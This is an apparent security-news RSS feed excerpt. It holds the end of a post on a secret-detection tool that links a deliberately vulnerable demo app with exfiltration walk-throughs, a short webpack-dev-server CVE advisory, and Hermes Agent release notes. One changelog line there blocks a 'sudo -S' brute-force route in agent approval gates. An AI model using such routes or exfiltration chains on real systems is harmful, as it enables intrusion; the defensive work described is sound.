src="https://cdn-images-1.medium.com/max/840/1*rKJu8s4h6EZx9yHt1FZP0g.png"><figcaption><em>SecretSifter findings panel</em></figcaption></figure><ul><li><a href="https://github.com/secretsifter/secretsifter-burp">github.com/secretsifter/secretsifter-burp</a></li><li><a href="https://github.com/secretsifter/secretsifter-extension">github.com/secretsifter/secretsifter-extension</a></li><li><a href="https://github.com/secretsifter/secretsifter-desktop">github.com/secretsifter/secretsifter-desktop</a></li></ul><h3>Try the Walk-Through Yourself</h3><p>The screenshots and chains in this post are reproducible end-to-end against <strong>InsecureShield</strong>, an intentionally vulnerable insurance portal published at <a href="https://github.com/secretsifter/insecureshield-demo">github.com/secretsifter/insecureshield-demo</a>. Every credential, endpoint, and response in the screenshots above comes from that public demo. The credentials are synthetic and have been auth-tested against their real providers as non-functional.</p><p>A step-by-step walk-through, with both chains worked from view-source through token mint to data exfiltration, lives in the repository at <a href="https://raw.githack.com/secretsifter/insecureshield-demo/main/docs/reproduction-guide.html">docs/reproduction-guide.html</a>.</p><pre>git clone https://github.com/secretsifter/insecureshield-demo<br>cd insecureshield-demo<br>npm install<br>npm start</pre><h3>About the Author</h3><p><strong>Hemanth Gorijala</strong> is an application security practitioner and penetration tester. He conducts web application security assessments, reviews vulnerability reports in enterprise bug bounty programs, and maintains <em>SecretSifter</em>, a free, open-source runtime secret detection tool.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=28b0c6aa1aa4" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/secrets-that-survive-everything-28b0c6aa1aa4">Secrets That Survive Everything</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-6402 | webpack-dev-server up to 5.2.3 routine (GHSA-79cf-xcqc-c78w / EUVD-2026-29404)]]></title>
<description><![CDATA[A vulnerability was found in webpack-dev-server up to 5.2.3. It has been classified as problematic. This affects an unknown part. The manipulation leads to exposed dangerous routine.

This vulnerability is traded as CVE-2026-6402. It is possible to initiate the attack remotely. There is no exploi...]]></description>
<link>https://tsecurity.de/de/3526274/sicherheitsluecken/cve-2026-6402-webpack-dev-server-up-to-523-routine-ghsa-79cf-xcqc-c78w-euvd-2026-29404/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3526274/sicherheitsluecken/cve-2026-6402-webpack-dev-server-up-to-523-routine-ghsa-79cf-xcqc-c78w-euvd-2026-29404/</guid>
<pubDate>Mon, 18 May 2026 16:24:00 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/webpack-dev-server">webpack-dev-server up to 5.2.3</a>. It has been classified as <a href="https://vuldb.com/kb/risk">problematic</a>. This affects an unknown part. The manipulation leads to exposed dangerous routine.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-6402">CVE-2026-6402</a>. It is possible to initiate the attack remotely. There is no exploit available.

Upgrading the affected component is recommended.]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.14.0 (2026.5.16)]]></title>
<description><![CDATA[Hermes Agent v0.14.0 (v2026.5.16)
Release Date: May 16, 2026
Since v0.13.0: 808 commits · 633 merged PRs · 1393 files changed · 165,061 insertions · 545 issues closed (12 P0, 50 P1) · 215 community contributors (including co-authors)

The Foundation Release — Hermes Agent installs and runs anywhe...]]></description>
<link>https://tsecurity.de/de/3521849/downloads/hermes-agent-v0140-2026516/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3521849/downloads/hermes-agent-v0140-2026516/</guid>
<pubDate>Sat, 16 May 2026 12:01:41 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.14.0 (v2026.5.16)</h1>
<p><strong>Release Date:</strong> May 16, 2026<br>
<strong>Since v0.13.0:</strong> 808 commits · 633 merged PRs · 1393 files changed · 165,061 insertions · 545 issues closed (12 P0, 50 P1) · 215 community contributors (including co-authors)</p>
<blockquote>
<p>The Foundation Release — Hermes Agent installs and runs anywhere now. Native Windows ships in early beta with a full PowerShell installer story, a <code>pip install hermes-agent</code> wheel lands on PyPI, lazy-deps reshape what <code>pip install hermes-agent</code> actually pulls down, the supply-chain checker scans every install/upgrade for unsafe versions, and a new OpenAI-compatible local proxy lets Codex / Aider / Cline talk to OAuth-only providers (Claude Pro, ChatGPT Pro, SuperGrok). The cold-start wave shaves ~19 seconds off <code>hermes</code> launch, browser-tool CDP calls run 180x faster, and <code>hermes tools</code> All-Platforms drops from 14s to under 1.5s. Two new messaging platforms (LINE and SimpleX Chat) and a Microsoft Graph foundation (Teams pipeline + webhook adapter) land alongside <code>/handoff</code> that finally transfers sessions live, <code>vision_analyze</code> passing pixels through to vision-capable models, <code>x_search</code> as a first-class tool, LSP semantic diagnostics on every <code>write_file</code> / <code>patch</code>, a unified pluggable <code>video_generate</code>, a <code>computer_use</code> cua-driver backend, cross-session 1-hour Claude prompt caching, a per-turn file-mutation verifier, plus 9 new optional skills. 50+ P1 closures, 12 P0 closures.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Native Windows support (early beta)</strong> — full PowerShell installer, native subprocess/PTY paths, taskkill-based process management, MinGit auto-install, Microsoft Store python stub detection, foreground Ctrl+C preservation, taskkill+ps2 fallback, npm prefix handling, and ~40 follow-up Windows-only fixes across CLI / gateway / TUI / curator / tools. Hermes finally runs natively on <code>cmd.exe</code> and PowerShell, no WSL required. (<a href="https://github.com/NousResearch/hermes-agent/pull/21561" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21561/hovercard">#21561</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22130" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22130/hovercard">#22130</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22752" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22752/hovercard">#22752</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26618" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26618/hovercard">#26618</a>, and many more)</p>
</li>
<li>
<p><strong><code>pip install hermes-agent &amp;&amp; hermes</code></strong> — Hermes Agent is now a real PyPI package. One command, no clone, no git, no shell installer. Wheel includes the Ink TUI bundle and shell launcher. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/26350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26350/hovercard">#26350</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26593/hovercard">#26593</a>)</p>
</li>
<li>
<p><strong>Cold-start performance wave — ~19s off <code>hermes</code> launch</strong> — skills cache, lazy Feishu import, no Nous HTTP at startup, plus PEP-562 lazy adapter imports (QQ, Yuanbao, Teams, Google Chat), deferred <code>fal_client</code> / <code>google-cloud</code> / <code>httpx</code> loads, models.dev disk-cache-first lookup, parallel doctor API checks, eager-skip plugin discovery on built-in subcommands, <code>hermes tools</code> All-Platforms drops from 14s to &lt;1.5s, welcome banner skipped on <code>chat -q</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/22138" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22138/hovercard">#22138</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22120" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22120/hovercard">#22120</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22681" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22681/hovercard">#22681</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22790" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22790/hovercard">#22790</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22808" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22808/hovercard">#22808</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22831" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22831/hovercard">#22831</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22859/hovercard">#22859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22904" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22904/hovercard">#22904</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22766" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22766/hovercard">#22766</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/25341" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25341/hovercard">#25341</a>)</p>
</li>
<li>
<p><strong>180x faster <code>browser_console</code> evaluations</strong> — routed through the supervisor's persistent CDP WebSocket instead of spawning a fresh DevTools session per call. Real-world page interactions feel instant. (<a href="https://github.com/NousResearch/hermes-agent/pull/23226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23226/hovercard">#23226</a>)</p>
</li>
<li>
<p><strong>Supply-chain advisory checker + lazy-deps framework + tiered install fallback</strong> — every <code>pip install</code> / <code>hermes update</code> scans dependencies against an advisory list, lazy-deps replace heavy import-time loads with first-use installs, and the installer falls back through extras tiers when a wheel rejects on the target platform. (<a href="https://github.com/NousResearch/hermes-agent/pull/24220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24220/hovercard">#24220</a>)</p>
</li>
<li>
<p><strong>OpenAI-compatible local proxy</strong> — <code>hermes proxy</code> exposes any OAuth-authed provider (Claude Pro, ChatGPT Pro, SuperGrok) as an OpenAI-compatible endpoint that Codex / Aider / Cline / VS Code Continue can hit. Your subscription, your tools. (<a href="https://github.com/NousResearch/hermes-agent/pull/25969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25969/hovercard">#25969</a>)</p>
</li>
<li>
<p><strong>Cross-session 1-hour Claude prompt cache</strong> — Anthropic / OpenRouter / Nous Portal now share a 1h prefix cache across sessions for Claude models. Fast resume, fast <code>/new</code>, lower cost on repeat work. (<a href="https://github.com/NousResearch/hermes-agent/pull/23828" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23828/hovercard">#23828</a>)</p>
</li>
<li>
<p><strong>Two new messaging platforms — LINE + SimpleX Chat</strong> — LINE Messaging API lands as a first-class platform, SimpleX Chat salvages <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4117407388" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2558" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2558/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2558">#2558</a> onto the modern adapter spec. Hermes is now on 22 platforms. (<a href="https://github.com/NousResearch/hermes-agent/pull/23197" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23197/hovercard">#23197</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26232" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26232/hovercard">#26232</a>)</p>
</li>
<li>
<p><strong>Microsoft Graph foundation — Teams pipeline + webhook adapter</strong> — <code>msgraph</code> auth/client foundation, webhook listener platform, Teams pipeline plugin runtime, and Teams outbound delivery via the existing adapter — Hermes can now read and post to Teams. (salvages of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400317607" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21408" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21408/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21408">#21408</a>–<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400321291" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21411" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21411/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21411">#21411</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21922/hovercard">#21922</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/21969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21969/hovercard">#21969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22007/hovercard">#22007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22024" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22024/hovercard">#22024</a>)</p>
</li>
<li>
<p><strong><code>/handoff</code> actually transfers the session live</strong> — the agent's active session moves to a different model / persona / profile mid-conversation, with messages, tool history, and context preserved. (<a href="https://github.com/NousResearch/hermes-agent/pull/23395" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23395/hovercard">#23395</a>)</p>
</li>
<li>
<p><strong><code>x_search</code> — first-class X (Twitter) search tool</strong> — gated tool with OAuth-or-API-key auth, no skill needed to query the timeline. (<a href="https://github.com/NousResearch/hermes-agent/pull/26763" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26763/hovercard">#26763</a>)</p>
</li>
<li>
<p><strong><code>vision_analyze</code> returns pixels to vision-capable models</strong> — when the active model can see, <code>vision_analyze</code> now hands the image straight through instead of falling back to a text description. (<a href="https://github.com/NousResearch/hermes-agent/pull/22955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22955/hovercard">#22955</a>)</p>
</li>
<li>
<p><strong>LSP semantic diagnostics on every write</strong> — <code>write_file</code> and <code>patch</code> now run real language-server diagnostics on the post-edit file (delta-only) and surface real errors before they ship downstream. (<a href="https://github.com/NousResearch/hermes-agent/pull/24168" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24168/hovercard">#24168</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/25978" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25978/hovercard">#25978</a>)</p>
</li>
<li>
<p><strong>Per-turn file-mutation verifier footer</strong> — after every turn that wrote files, the agent gets a verifier footer summarizing what actually changed on disk — catches silent overwrites and "wrote it but it didn't land" bugs. (<a href="https://github.com/NousResearch/hermes-agent/pull/24498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24498/hovercard">#24498</a>)</p>
</li>
<li>
<p><strong>Unified <code>video_generate</code> with pluggable provider backends</strong> — single tool, any backend. Drop in a new video provider as a plugin, no core changes. (<a href="https://github.com/NousResearch/hermes-agent/pull/25126" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25126/hovercard">#25126</a>)</p>
</li>
<li>
<p><strong><code>computer_use</code> cua-driver backend</strong> — proper focus-safe ops, non-Anthropic provider support, refresh on <code>hermes update</code>. Computer-use is no longer locked to a single SDK. (re-salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341933760" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/16936" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16936/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/16936">#16936</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21967" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21967/hovercard">#21967</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/24063" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24063/hovercard">#24063</a>)</p>
</li>
<li>
<p><strong>xAI Grok OAuth provider — SuperGrok via subscription</strong> — sign in with your xAI account, talk to Grok models from Hermes. (<a href="https://github.com/NousResearch/hermes-agent/pull/26534" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26534/hovercard">#26534</a>)</p>
</li>
<li>
<p><strong>Clarify with buttons — native inline keyboards on Telegram + Discord</strong> — the <code>clarify</code> tool renders multi-choice prompts as platform-native buttons instead of typed responses. (<a href="https://github.com/NousResearch/hermes-agent/pull/24199" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24199/hovercard">#24199</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/25485" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25485/hovercard">#25485</a>)</p>
</li>
<li>
<p><strong>Discord channel history backfill (default on)</strong> — Hermes reads recent channel history when joining a thread so it actually knows what's been said. (<a href="https://github.com/NousResearch/hermes-agent/pull/25984" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25984/hovercard">#25984</a>)</p>
</li>
<li>
<p><strong>Watchers skill — RSS / HTTP JSON / GitHub polling via cron <code>no_agent</code> mode</strong> — skill recipes that wire change-detection sources directly into cron's script-only watchdog mode. (<a href="https://github.com/NousResearch/hermes-agent/pull/21881" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21881/hovercard">#21881</a>)</p>
</li>
<li>
<p><strong>Zed ACP Registry integration + uvx distribution</strong> — Hermes is in the Zed registry, installable via <code>uvx</code> (no npm). Plus <code>hermes acp --setup-browser</code> bootstraps browser tools for registry installs. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/25908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25908/hovercard">#25908</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26079" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26079/hovercard">#26079</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26120" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26120/hovercard">#26120</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26234" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26234/hovercard">#26234</a>)</p>
</li>
<li>
<p><strong>OpenRouter Pareto Code router</strong> — wire a new OpenRouter router with <code>min_coding_score</code> knob. Pick the cheapest model that meets your quality bar. (<a href="https://github.com/NousResearch/hermes-agent/pull/22838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22838/hovercard">#22838</a>)</p>
</li>
<li>
<p><strong>Optional codex app-server runtime for OpenAI/Codex models</strong> — drives the OpenAI Codex CLI under the hood for OpenAI/Codex paths, with session reuse, wedge retirement, and OAuth refresh classification. (<a href="https://github.com/NousResearch/hermes-agent/pull/24182" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24182/hovercard">#24182</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/25769" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25769/hovercard">#25769</a>)</p>
</li>
<li>
<p><strong><code>hermes-skills/huggingface</code> as a trusted default tap</strong> — community skills index from huggingface.co/skills is available by default in the Skills Hub. (<a href="https://github.com/NousResearch/hermes-agent/pull/26219" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26219/hovercard">#26219</a>)</p>
</li>
<li>
<p><strong>9 new optional skills</strong> — Hyperliquid (perp/spot trading via SDK + REST) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> &amp; Hermes), Yahoo Finance market data, api-testing (REST/GraphQL debug), unified EVM multi-chain skill (folds <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4441931751" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25291" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25291/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25291">#25291</a> + <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4098909401" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2010" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2010/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2010">#2010</a> + base/), darwinian-evolver, osint-investigation (closes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4020048213" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/355" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/355/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/355">#355</a>), pinggy-tunnel, watchers (RSS/HTTP/GitHub via cron), Notion overhaul for the Developer Platform (May 2026). (<a href="https://github.com/NousResearch/hermes-agent/pull/23582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23582/hovercard">#23582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/23583" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23583/hovercard">#23583</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/23590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23590/hovercard">#23590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/25299" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25299/hovercard">#25299</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26760" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26760/hovercard">#26760</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26729" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26729/hovercard">#26729</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26765" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26765/hovercard">#26765</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/21881" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21881/hovercard">#21881</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26612" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26612/hovercard">#26612</a>)</p>
</li>
<li>
<p><strong>API server exposes run approval events</strong> — long-running runs surface approval requests over the API stream, no more silent stalls. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/20311" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20311/hovercard">#20311</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21899/hovercard">#21899</a>)</p>
</li>
<li>
<p><strong><code>/subgoal</code> — user-added criteria appended to active <code>/goal</code></strong> — layer extra success criteria onto a running goal loop. The judge sees them in the prompt, no behavior change when subgoals are empty. (<a href="https://github.com/NousResearch/hermes-agent/pull/25449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25449/hovercard">#25449</a>)</p>
</li>
<li>
<p><strong>Plugins can run any LLM call via <code>ctx.llm</code></strong> — plugins get a first-class hook to make their own LLM requests through the active provider/credentials, no manual wiring. Plus <code>tool_override</code> flag for replacing built-in tools. (<a href="https://github.com/NousResearch/hermes-agent/pull/23194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23194/hovercard">#23194</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26759/hovercard">#26759</a>)</p>
</li>
<li>
<p><strong>Brave Search (free tier) + DuckDuckGo (DDGS) as web-search providers</strong> — two new free search backends alongside Tavily / SearXNG / Exa. (<a href="https://github.com/NousResearch/hermes-agent/pull/21337" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21337/hovercard">#21337</a>)</p>
</li>
<li>
<p><strong>Sudo brute-force block + sudo-stdin/askpass DANGEROUS classification</strong> — closes the <code>sudo -S</code> brute-force avenue; approval gates classify stdin-fed and askpass-stripped sudo invocations as dangerous. (salvages of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4410605303" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22194/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22194">#22194</a> + <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4397828876" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21128" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21128/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21128">#21128</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23736" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23736/hovercard">#23736</a>)</p>
</li>
<li>
<p><strong>Provider rename — Alibaba Cloud → Qwen Cloud, picker reorder</strong> — matches what the world calls it. Existing config keys still work. (<a href="https://github.com/NousResearch/hermes-agent/pull/24835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24835/hovercard">#24835</a>)</p>
</li>
</ul>
<hr>
<h2>🪟 Windows — Native Support (Early Beta)</h2>
<h3>Bootstrap &amp; installer</h3>
<ul>
<li><strong>Native Windows support (early beta)</strong> — first-class native Windows path across CLI / gateway / TUI / tools (<a href="https://github.com/NousResearch/hermes-agent/pull/21561" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21561/hovercard">#21561</a>)</li>
<li><strong>PyPI wheel packaging — <code>pip install hermes-agent &amp;&amp; hermes</code></strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4454164335" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/26350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26350/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/26350">#26350</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26593/hovercard">#26593</a>)</li>
<li><strong>Recognise Shift+Enter as a newline key</strong> + Windows docs (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4402428863" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21545" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21545/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21545">#21545</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22130" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22130/hovercard">#22130</a>)</li>
<li><strong>Preserve Ctrl+C for Windows foreground runs</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22752" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22752/hovercard">#22752</a>)</li>
<li><strong>Stop spamming cwd-missing + tirith-spawn warnings on every terminal call</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26618" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26618/hovercard">#26618</a>)</li>
<li><strong>Use <code>--extra all</code> not <code>--all-extras</code>; drop lazy-covered extras from <code>[all]</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24515/hovercard">#24515</a>)</li>
</ul>
<h3>Windows-specific fixes (40+ across cli / tools / gateway / curator / TUI)</h3>
<p>A long tail of native-Windows fixes shipped alongside the beta — taskkill-based subprocess management, MinGit auto-install, Microsoft Store python stub detection, npm prefix handling, native PTY paths, signal handling differences, foreground process management, ANSI sequence handling, path normalization, file-locking semantics, and many more. Full list in commit log under <code>fix(windows)</code> / <code>feat(windows)</code> / <code>windows</code>.</p>
<hr>
<h2>🚀 Performance Wave</h2>
<h3>Cold start</h3>
<ul>
<li><strong>Cut ~19s from <code>hermes</code> cold start</strong> — skills cache + lazy Feishu + no Nous HTTP at startup (<a href="https://github.com/NousResearch/hermes-agent/pull/22138" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22138/hovercard">#22138</a>)</li>
<li><strong>Skip eager plugin discovery on known built-in subcommands</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22120" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22120/hovercard">#22120</a>)</li>
<li><strong>Cache Nous auth + .env loads</strong> — <code>hermes tools</code> All Platforms from 14s to &lt;1.5s (<a href="https://github.com/NousResearch/hermes-agent/pull/25341" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25341/hovercard">#25341</a>)</li>
<li><strong>Skip welcome banner on <code>chat -q</code> single-query mode</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22904" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22904/hovercard">#22904</a>)</li>
